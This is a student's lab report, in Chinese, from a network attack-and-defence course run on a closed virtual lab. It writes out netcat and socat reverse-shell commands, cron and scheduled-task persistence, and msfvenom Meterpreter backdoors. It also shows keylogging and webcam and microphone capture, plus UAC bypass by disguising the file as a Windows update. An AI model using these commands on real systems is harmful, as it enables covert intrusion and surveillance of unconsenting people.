20192426 2021-2022-2 《网络与系统攻防技术》实验二实验报告
20192426 2021-2022-2 《网络与系统攻防技术》实验二实验报告
1.实验内容
- 掌握使用netcat和socat获取远程主机的Shell
- 掌握Windows和Linux中定时任务的配置方法
- 掌握使用MSF meterpreter生成可以获取Shell的可执行文件并获取目标主机音频、摄像头、击键记录等内容
- 掌握获取目标主机的Shell后进行提权的方法
2.基础问题回答
-
例举你能想到的一个后门进入到你系统中的可能方式?
下载来源不明的软件,例如通过网盘等方式分享的绿色版、免安装版软件
-
例举你知道的后门如何启动起来(Windows及Linux)的方式?
- Windows可以通过设置任务计划方式以及在注册表HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run(普通用户权限)与 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run(管理员权限)下添加后门程序的路径
- Linux可以通过Cron设置定时任务的方式让后门程序启动起来
-
Meterpreter有哪些给你印象深刻的功能?
Meterpreter不仅可以获取目标主机的屏幕、摄像头、麦克风等设备,甚至还可以通过一些方式来迷惑用户获取系统的system权限,这也就是说,一旦安装的程序中存在后门,那么整个电脑的所有数据都有可能被泄露。
-
如何发现自己有系统有没有被安装后门?
- 检查网络连接和开放的端口
- 使用专业杀毒软件进行全盘扫描
- 查看任务计划和注册表有关自启动的表项中是否有未知来源的应用设置了自启动
- 在平时使用的过程中观察是否存在未知软件获取system权限的情况
3.实验过程
3.0 准备工作
-
首先在VirtualBox上给Kali虚拟机配置一个Host-Only网络,然后分别获取Windows和Kali的IP地址,使用如下命令:
ipconfig(Windows) ifconfig(Kali)
如图一所示,Windows的Host-Only地址为192.168.56.1,Kali的Host-Only地址为192.168.56.112。
图一 查看Windows和Kali的IP地址 -
由于Windows操作系统本身不自带netcat和socat,所以需要提前下载到Windows系统中,相应下载链接:netcat;socat。为了方便使用,我配置了系统环境变量,网上的教程很多,在此不再赘述。
netcat:netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。常被与其他工具结合使用,起到后门的作用。
socat:Socat 是 Linux 下的一个多功能的网络工具,名字来由是 「Socket CAT」。其功能与有瑞士军刀之称的 Netcat 类似,可以看做是 Netcat 的加强版。Socat 的主要特点就是在两个数据流之间建立通道,且支持众多协议和链接方式。如 IP、TCP、 UDP、IPv6、PIPE、EXEC、System、Open、Proxy、Openssl、Socket等。
3.1 使用netcat获取主机操作Shell,cron启动
-
题目指出需要使用cron启动,也就说明了目标主机应该是Kali,因为Linux系统已经内置了cron进程,使用命令
crontab
即可编辑cron的任务列表,具体命令参数如下:crontab [-u username] //省略用户表表示操作当前用户的crontab -e (编辑工作表) -l (列出工作表里的命令) -r (删除工作作)
crontab的服务进程名为crond,英文意为周期任务。顾名思义,crontab在Linux主要用于周期定时任务管理。通常安装操作系统后,默认已启动crond服务。crontab可理解为cron_table,表示cron的任务列表。
-
在确定了目标主机后,首先我们来确定Windows是否可以通过netcat连接Kali并获得Shell,由于Kali使用UTF-8作为字符编码,而Windows Terminal默认使用GBK,为了防止乱码,我们打开Windows Terminal更改其字符编码为UTF-8然后再打开监听:
chcp # 查看当前使用的字符集编码 # 由于默认为GBK,所以我返回的信息为:Active code page: 936 chcp 65001 # 更改字符集编码为UTF-8 # 返回信息:Active code page: 65001 ncat -l -p 8888 # 在Windows的8888端口打开监听
然后在Kali上使用命令反弹连接Windows:
# 192.168.56.1为Windows的IP地址 nc 192.168.56.1 8888 -e /bin/sh # Kali反弹连接Windows
-
可以发现,如图二所示,Windows成功获得Kali的Shell并可以执行Linux命令,这就说明Kali上的后门程序可以通过netcat反弹连接Windows并提供Shell。
图二 Windows成功获得Kali的Shell并可以执行Linux命令 -
接下来我们通过cron让Kali每分钟都主动反弹连接Windows并给Windows提供一个Shell。我们首先编辑cron任务列表,在编辑器选择时选择vim.basic
crontab -e # no crontab for root - using an empty one # Select an editor. To change later, run 'select-editor'. # 1. /bin/nano <---- easiest # 2. /usr/bin/vim.basic # 3. /usr/bin/vim.tiny # Choose 1-3 [1]: 2 选择vim.basic
-
进入vim编辑器后,在文件的最下面添加一行,内容如下:
* * * * * /bin/netcat 192.168.56.1 8888 -e /bin/sh # 每分钟运行一次netcat反弹连接到Windows并提供一个Shell
使用
:wq
保存并退出vim编辑器,这样每分钟Kali都会反弹连接到Windows并提供一个Shell -
这样我们再使用Windows Terminal进行监听,可以发现,每次用时最多一分钟就可以获得Kali的Shell并执行Linux指令,如图三所示:
图三 最多1分钟就可以获得Kali的Shell
3.2 使用socat获取主机操作Shell, 任务计划启动
-
题目指出需要使用任务计划启动,也就说明了目标主机应该是Windows,这里指的是在Windows上使用位于控制面板->系统和安全->管理工具的任务计划程序进行自启动。
-
在确定了目标主机后,首先我们来确定Kali是否可以通过socat连接Windows并获得Shell。我们打开Kali的终端并打开监听
socat TCP-LISTEN:8888 - # 在Kali的8888端口监听,注意最后的“-”必不可少
由于Kali使用UTF-8作为字符编码,而Windows Terminal默认使用GBK。为了防止乱码,我们还是更改Windows Terminal的字符编码为UTF-8,然后在Windows上使用命令反弹连接Kali
chcp 65001 # 更改字符集编码为UTF-8 # 返回信息:Active code page: 65001 socat exec:cmd.exe,pty,stderr TCP:192.168.56.112:8888 # Windows反弹连接到Kali并提供一个cmd.exe作为Shell socat exec:powershell.exe,pipes TCP:192.168.56.112:8888 # Windows反弹连接到Kali并提供一个powershell.exe作为Shell
-
可以发现,如图四所示,Kali成功获得Windows的Shell并可以执行Windows命令,这就说明Windows上的后门程序可以通过netcat反弹连接Kali并提供cmd.exe或powershell.exe作为Shell。
图四 Kali成功获得Windows的Shell并可以执行Windows命令 -
接下来我们通过任务计划启动让Windows每分钟都主动反弹连接Windows并给Windows提供一个Shell。我们首先编辑任务计划列表,创建一个任务,如图五所示,在触发器中我们设置每天11:30自动触发。
图五 设置触发器每天11:30自动触发 -
然后在操作中我们新建一个操作,将socat的路径填入“程序或脚本”中,并指定参数
exec:powershell.exe,pipes TCP:192.168.56.112:8888
,如图六所示。
图六 在操作中将socat的路径和参数填入 -
这样我们每天11:30前在Kali中开启监听,然后就会看到图七所示结果,即Windows在11:30自动弹窗,然后Kali的监听终端就会接收到Windows的Shell。
图七 Kali每天11:30可以获得Windows的Shell
3.3 使用MSF meterpreter生成可执行文件,利用netcat或socat传送到主机并运行获取主机Shell
-
由于Kali系统已经安装好了Metaspolit,我们便可以直接利用这个工具进行实验,所以3.3、3.4我们都以Windows作为目标主机。
Metaspolit是一款开源的安全漏洞检测工具,它可以帮助网络安全和IT专业人士识别安全性问题,验证漏洞的解决措施,从而完成对目标的安全性评估。该工具包括了 智能开发,代码审计,web应用程序扫描和社会工程等各项功能
-
首先我们使用命令
msfvenom
生成一个.exe格式的后门程序,执行该程序便可以使系统主动反弹连接到LHOST指定的IP和LPORT指定的端口,详细命令如下:msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.112 LPORT=8000 -f exe > 20192426_backdoor.exe # 其中192.168.56.112为Windows反弹回连Kali的IP地址
这里我们需要稍微等待一段时间,待出现图八的结果时说明生成完成。
图八 成功生成后门程序 -
使用ncat将生成好的可执行后门程序发送到Windows上,使用命令如下所示:
nc 192.168.56.1 9000 < 20192426_backdoor.exe # Kali上使用的命令,192.168.56.1为Windows的IP地址 ncat -l -p 9000 -vv -w 3 > 20192426_backdoor.exe # Windows上使用的命令,在9000端口监听
注意:如果这样传输后的文件提示“此程序无法在你的电脑上运行”,大概率是因为你使用Powershell.exe运行了netcat(详细错误原因请见问题及解决方案)。请使用cmd.exe运行netcat或选择Xftp等文件传输软件或使用共享文件夹进行文件传输。
-
在Kali上的终端输入命令
msfconsole
打开msf控制台,等待程序初始化完成后输入以下指令获取Windows的Shell:use exploit/multi/handler # 进入监听模块 # [*] Using configured payload generic/shell_reverse_tcp set payload windows/x64/meterpreter/reverse_tcp # 设置攻击载荷为64位Windows的反弹TCP连接 # payload => windows/meterpreter/reverse_tcp set LHOST 192.168.56.112 # 设置Kali的IP地址,请与后门程序的LHOST参数保持一致 # LHOST => 192.168.56.112 set LPORT 8000 # 设置端口号,请与后门程序的LPORT参数保持一致 # LPORT => 8000 exploit # [*] Started reverse TCP handler on 192.168.56.112:8000 # 当出现上面的提示时在Windows上打开后门程序
打开后门程序后,在Windows上看似没有什么变化,但此时Metasploit已经获得了Windows的Shell,如图九所示。
图九 成功获得Windows的Shell
3.4 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
-
使用如下指令可以获取主机音频
record_mic -d 5 # -d指定录音的秒数,这里是录音5秒
-
使用如下指令可以获取主机摄像头并进行拍照
webcam_snap
-
使用如下指令可以记录/停止记录键盘的敲击记录
keyscan_start # 开始记录键盘敲击记录 keyscan_stop # 停止记录键盘敲击记录
使用如下指令可以显示捕捉到的键盘记录信息
keyscan_dump # 显示捕捉到的键盘记录信息
上述三步的操作结果如图十所示,可以发现成功完成了实验要求的功能
图十 成功完成录音、拍照和记录键盘敲击信息 -
然后就是尝试提权的相关内容了,首先如果我们直接输入命令
getsystem
则会发现无法获取权限,如图十一所示:
图十一 无法直接获得权限 -
这就不得不说Windows的UAC(用户账户控制)了。UAC通过阻止程序执行任何涉及有关系统更改/特定任务的任务来运行。除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行。如果您以管理员身份运行程序,则它将具有更多权限,因为它将被“提升权限”,而不是以管理员身份运行的程序。UAC不会自动阻止恶意软件,其目的不是确定程序是否是恶意软件。这同样取决于用户。如果将以管理员权限执行程序,则将提醒用户并且需要用户确认。
UAC(User Account Control,用户帐户控制)是微软为提高系统安全而在Windows Vista和Windows Server 2008中引入的新技术,它要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理员密码。通过在这些操作启动前对其进行验证,UAC 可以帮助防止恶意软件和间谍软件在未经许可的情况下在计算机上进行安装或对计算机进行更改。
-
正因为存在UAC,所以我们需要使用一些方法来绕过UAC。其中最简单的方法便是在3.3的第2步生成后门程序时将程序名更改为windows_update.exe并传送到Windows,然后按照上文介绍的方法与Kali建立连接,之后再使用
getsystem
命令便可以直接获得system权限。 -
除了更改文件名外,我们还可以使用一些Metaspolit中自带的一些模块。
我们可以使用exploit/windows/local/ask模块,先使用
background
将连接会话放到后台。然后进行如下操作:use exploit/windows/local/ask # 加载模块 set session 1 # session => 1 set FILENAME WindowsUpdater.exe # FILENAME => WindowsUpdater.exe run # 在这里建议关闭杀毒软件,否则杀毒软件会自动将程序杀掉
这时候Windows会弹出一个询问权限的窗口,选择“是”,然后Metaspolit就会自动生成一个新的session,在这个session中使用getsystem便可以直接获得system权限,如图十二所示:
图十二 使用exploit/windows/local/ask提权 -
此外,我们也可以用exploit/windows/local/bypassuac_injection模块(内存注入),还是先使用
background
将连接会话放到后台。然后进行如下操作:use exploit/windows/local/bypassuac_injection # 加载模块 set session 1 # session => 1 set payload windows/x64/meterpreter/reverse_tcp # 设置攻击载荷为64位的Windows的反弹TCP连接 # payload => windows/x64/meterpreter/reverse_tcp set target 1 # 0表示32位Windows操作系统,1表示64位Windows操作系统 # target => 1 exploit # 在这里建议关闭杀毒软件,否则杀毒软件会自动将程序杀掉
这时候Windows会弹出一个询问权限的窗口,与上一种方法不同的是,这里的询问权限的所有者是可信的Windows所有者,这样更容易迷惑用户选择“是”。用户同意后,Metaspolit就会自动生成一个新的session,在这个session中使用getsystem便可以直接获得system权限,如图十三所示:
图十三 使用exploit/windows/local/bypassuac_injection提权 -
我们还可以使用其他模块进行尝试,具体详见:使用Metasploit绕过UAC的多种方法 - 渗透测试中心。经过测试,除了7、8指出的方法外,该博客中的其他方法已无法对Windows10进行提权。
3.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
-
要将shellcode注入pwn1中,还是使用命令
msfvenom
生成一个elf格式的后门程序,详细命令如下msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.112 LPORT=8000 -x ./pwn1-20192426 -f elf > pwn3-20192426 # -p, --payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的 # -x, --template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中 # -f, --format < format> 指定输出格式
生成的文件如图十四所示:
图十四 使用pwn1作为模板生成elf格式的程序 -
由于elf格式的可执行文件只能在Linux上执行,所以实验只能用Kali控制Kali,或者再启动一个Linux虚拟机作为目标主机。在Kali上的终端输入命令
msfconsole
打开msf控制台,等待程序初始化完成后输入以下指令获取Kali的Shell:use exploit/multi/handler # 进入监听模块 # [*] Using configured payload generic/shell_reverse_tcp set payload linux/x86/meterpreter/reverse_tcp # 设置攻击载荷为64位Linux的反弹TCP连接 # payload => windows/meterpreter/reverse_tcp set LHOST 192.168.56.112 # 设置Kali的IP地址,请与后门程序的LHOST参数保持一致 # LHOST => 192.168.56.112 set LPORT 8000 # 设置端口号,请与后门程序的LPORT参数保持一致 # LPORT => 8000 exploit # [*] Started reverse TCP handler on 192.168.56.112:8000 # 当出现上面的提示时再开启一个终端运行pwn3
可以发现,如图十五,我们成功获得Kali的Shell
图十五 成功获得Kali的Shell
4.问题及解决方案
-
问题1:在3.2中使用
socat exec:powershell.exe,pty,stderr TCP:192.168.56.112:8888
发现无法正常连接 -
问题1解决方案:通过百度可以查明,使用powershell时,其后的参数和cmd有所区别,具体命令应该为
socat exec:powershell.exe,pipes TCP:192.168.56.112:8888
,更改为正确的命令后可以成功连接 -
问题2:在3.3中,使用powershell.exe运行netcat接收后门程序到Windows后执行提示“此应用无法在你的电脑上运行”
-
问题2解决方案:使用Xftp将正确的可执行文件传送到Windows上,使用WinHex打开两个文件进行分析,如图十六所示。可以发现,损坏的文件中在正常的数据外还被插入了其他的数据导致了文件数据损坏。
图十六 正常文件与损坏文件对比经过尝试,发现使用cmd.exe运行netcat接收后门程序到Windows,后门程序数据正常可以正确运行,于是改用cmd进行netcat的文件传输。
5.学习感悟、思考等
本次实验进行的是后门原理的实践,通过老师视频+博客讲解的方式我弄懂了后门的基本原理并学会了使用Metasploit这一强大的软件轻松生成后门程序。在本次实验中,经过王老师的讲解和刘老师的博客及视频,我成功地了解了后门的原理和常用的攻击方法。
本次实验中某些地方还值得深入研究,例如如何防止杀毒软件对后门程序进行查杀(结果是下次实验的内容,好耶),此外,对于获得Shell后提权的相关部分还仅仅是简单地进行了了解,其内容还有很大一部分我们没有涉及。
最后,感谢王老师和刘老师的细心讲解和耐心帮助,也感谢在实验过程中给我帮助的同学们。正因为有你们的帮助我才能够顺利地完成本次实验,谢谢!